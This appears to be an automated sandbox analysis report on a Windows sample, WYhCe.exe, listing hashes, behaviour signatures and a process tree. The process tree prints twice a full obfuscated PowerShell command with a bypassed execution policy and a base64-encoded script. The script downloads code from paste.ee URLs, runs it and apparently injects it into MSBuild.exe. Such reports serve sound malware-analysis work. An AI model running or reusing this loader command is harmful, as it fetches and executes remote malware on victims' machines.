Analysis

  • max time kernel
    126s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    07-07-2020 13:12

General

  • Target

    WYhCe.exe

  • Size

    103KB

  • MD5

    c2337bf726d285b3e59ef7f26f388bca

  • SHA1

    5b2bfc673012d02f27299db6929a144fd2517f93

  • SHA256

    e10c07621cbf12d95bfcb870835c10bbda376fd9e17e49f5caca6b3a3d239bdb

  • SHA512

    27e9e92d12658dd6a6e1e710577ea94d8523d3a6f703646007d8d001db9a2b608d314d9e727063207699db9717ed0e2bb77c2a19bae3e79542bec9389c5d2ba1

Score
3/10

Malware Config

Signatures

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\WYhCe.exe
    "C:\Users\Admin\AppData\Local\Temp\WYhCe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c start PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA
        3⤵
          PID:1980
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1980 -s 716
            4⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:2680

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2680-3-0x0000000004BD0000-0x0000000004BD1000-memory.dmp

      Filesize

      4KB

    • memory/2680-10-0x0000000005200000-0x0000000005201000-memory.dmp

      Filesize

      4KB

    • memory/2680-11-0x0000000005600000-0x0000000005601000-memory.dmp

      Filesize

      4KB